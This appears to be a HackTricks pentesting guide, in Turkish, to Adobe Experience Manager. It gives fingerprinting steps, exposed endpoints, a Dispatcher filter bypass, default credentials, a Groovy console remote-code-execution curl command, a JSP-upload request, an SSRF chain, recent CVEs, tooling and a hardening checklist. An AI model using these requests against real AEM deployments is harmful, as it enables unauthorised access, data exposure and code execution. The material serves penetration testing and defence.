AEM (Adobe Experience Manager) Pentesting

Reading time: 5 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Adobe Experience Manager (AEM, Adobe Experience Cloud'ın bir parçası) Apache Sling/Felix (OSGi) ve bir Java İçerik Deposu (JCR) üzerinde çalışan bir kurumsal CMS'dir. Bir saldırgan perspektifinden AEM örnekleri genellikle tehlikeli geliştirme uç noktalarını, zayıf Dispatcher kurallarını, varsayılan kimlik bilgilerini ve her çeyrekte yamanan uzun bir CVE listesini açığa çıkarır.

Aşağıdaki kontrol listesi, gerçek etkileşimlerde (2022-2025) sürekli olarak ortaya çıkan dışarıdan erişilebilir (kimlik doğrulamasız) saldırı yüzeyine odaklanmaktadır.


1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

Diğer hızlı göstergeler:

  • /etc.clientlibs/ statik yolu mevcut (JS/CSS döner).
  • /libs/granite/core/content/login.html “Adobe Experience Manager” afişi ile giriş sayfası.
  • </script><!--/* CQ */--> HTML'nin altında yorum.

2. Yüksek değerli kimlik doğrulamasız uç noktalar

PathNe elde edersinizNotlar
/.json, /.1.jsonJCR düğümleri aracılığıyla DefaultGetServletGenellikle engellenir, ancak Dispatcher bypass (aşağıya bakın) çalışır.
/bin/querybuilder.json?path=/QueryBuilder APISayfa ağacı, iç yollar, kullanıcı adlarının sızıntısı.
/system/console/status-*, /system/console/bundlesOSGi/Felix konsoluVarsayılan olarak 403; eğer açığa çıkmışsa ve kimlik bilgileri bulunursa ⇒ bundle-upload RCE.
/crx/packmgr/index.jspPaket YöneticisiKimlik doğrulamalı içerik paketlerine izin verir → JSP yükleme.
/etc/groovyconsole/**AEM Groovy KonsoluEğer açığa çıkmışsa → keyfi Groovy / Java yürütme.
/libs/cq/AuditlogSearchServlet.jsonDenetim günlükleriBilgi ifşası.
/libs/cq/ui/content/dumplibs.htmlClientLibs dökümüXSS vektörü.

Dispatcher bypass hilesi

Çoğu üretim sitesi Dispatcher (ters proxy) arkasında yer alır. Filtre kuralları, izin verilen bir statik uzantıyı bir noktalı virgülden veya kodlanmış yeni satırdan sonra ekleyerek atlatılabilir:

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

Tek bir istek yukarıda sıklıkla kullanıcı profil düğümlerini e-posta adresleriyle açığa çıkarır. P-T Partners bu zayıflık hakkında iyi bir rehber yayınladı. 【】


3. Yaygın yanlış yapılandırmalar (2025'te hala mevcut)

  1. Anonim POST servletPOST /.json ile :operation=import yeni JCR düğümleri oluşturmanıza izin verir. Dispatcher'da *.json POST'u engellemek bunu düzeltir. 【】
  2. Herkese açık kullanıcı profilleri – varsayılan ACL, /home/users/**/profile/* üzerinde jcr:read iznini herkese verir.
  3. Varsayılan kimlik bilgileriadmin:admin, author:author, replication:replication.
  4. WCMDebugFilter etkin ⇒ ?debug=layout üzerinden yansıtılan XSS (CVE-2016-7882, hala eski 6.4 kurulumlarında bulunuyor).
  5. Groovy Konsolu açığa çıktı – bir Groovy betiği göndererek uzaktan kod yürütme:
bash
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json

4. Son zamanlardaki güvenlik açıkları (hizmet paketi döngüsü)

ÇeyrekCVEEtkilenenEtki
Aralık 2024CVE-2024-437116.5.21 ve öncesiYanlış giriş doğrulaması → Rastgele kod yürütme (düşük ayrıcalıklı kimlik doğrulama gerektirir). 【】
Aralık 2024CVE-2024-43724/266.5.21 ve öncesiDOM / Saklanan XSS Move Page Wizard'da. 【】
Aralık 2023CVE-2023-48452/68≤ 6.5.18Özel URL aracılığıyla DOM tabanlı XSS. 【】
Aralık 2022CVE-2022-30683≤ 6.5.13Kripto tasarım hatası → gizli şifre çözme (düşük ayrıcalıklı kimlik bilgileri gerektirir). 【】

Her zaman müşterinin hizmet paketiyle eşleşen APSB bültenini kontrol edin ve en son 6.5.22 veya Cloud Service 2024.11 talep edin.


5. Sömürü parçaları

5.1 Dispatcher atlatma + JSP yükleme ile RCE

Eğer anonim yazma mümkünse:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

Şimdi /content/evil.jsp isteği yapın – JSP, AEM işlem kullanıcısı ile çalışır.

5.2 SSRF'den RCE'ye (tarihi < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem-hacker'dan aem_ssrf2rce.py tam zinciri otomatikleştirir. 【】


6. Araçlar

  • aem-hacker – İsviçre çakısı benzeri sayım scripti, dispatcher bypass, SSRF tespiti, varsayılan kimlik bilgileri kontrolleri ve daha fazlasını destekler.
bash
python3 aem_hacker.py -u https://target --host attacker-ip
  • İçerik Brute-force – gizli bileşenleri keşfetmek için /_jcr_content.(json|html) isteğini yinelemeli olarak yapın.
  • osgi-infect – kimlik bilgileri mevcutsa /system/console/bundles üzerinden kötü niyetli OSGi paketi yükleyin.

7. Güçlendirme kontrol listesi (raporunuzun önerileri için)

  1. Örneği en son toplu hizmet paketinde tutun (Temmuz 2025 itibarıyla: 6.5.22).
  2. Varsayılan hesapları kaldırın/değiştirin; SSO/SAML'yi zorlayın.
  3. Dispatcher filtrelerini sıkılaştırın – anonim kullanıcılar için ;, kodlanmış yeni satırlar ve *.json veya *.querybuilder.json'ı reddedin.
  4. Konsolları (/system/console, /crx/*, /etc/groovyconsole) IP izin listeleri ile devre dışı bırakın veya koruyun.
  5. Adobe tarafından gönderilen Anonim İzin Güçlendirme paketini uygulayın.

Referanslar

  • Adobe Güvenlik Bülteni APSB24-69 – “Adobe Experience Manager için güvenlik güncellemeleri (Aralık 2024)”.
  • 0ang3el – aem-hacker aracı (GitHub).

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin